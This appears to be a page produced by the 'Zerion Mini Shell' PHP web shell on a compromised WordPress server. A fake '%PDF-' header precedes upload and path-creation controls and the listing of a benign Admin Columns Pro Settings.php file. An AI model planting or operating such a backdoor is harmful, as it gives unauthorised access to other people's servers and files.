%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/knwn/wp-content/plugins/admin-columns-pro/classes/QuickAdd/Admin/
Upload File :
Create Path :
Current File : /var/www/knwn/wp-content/plugins/admin-columns-pro/classes/QuickAdd/Admin/Settings.php

<?php

namespace ACP\QuickAdd\Admin;

use AC\ListScreen;
use AC\Registrable;
use ACP\QuickAdd\Admin\HideOnScreen;
use ACP\QuickAdd\Filter;
use ACP\QuickAdd\Model\Factory;
use ACP\Settings\ListScreen\HideOnScreenCollection;

class Settings implements Registrable {

	/**
	 * @var Filter
	 */
	private $filter;

	public function __construct( Filter $filter ) {
		$this->filter = $filter;
	}

	public function register() {
		add_action( 'acp/admin/settings/hide_on_screen', [ $this, 'add_hide_on_screen' ], 10, 2 );
	}

	public function add_hide_on_screen( HideOnScreenCollection $collection, ListScreen $list_screen ) {
		if ( ! $this->filter->match( $list_screen ) ) {
			return;
		}

		$model = Factory::create( $list_screen );

		if ( ! $model || ! $model->has_permission( wp_get_current_user() ) ) {
			return;
		}

		$collection->add( new HideOnScreen\QuickAdd(), 60 );
	}

}

Zerion Mini Shell 1.0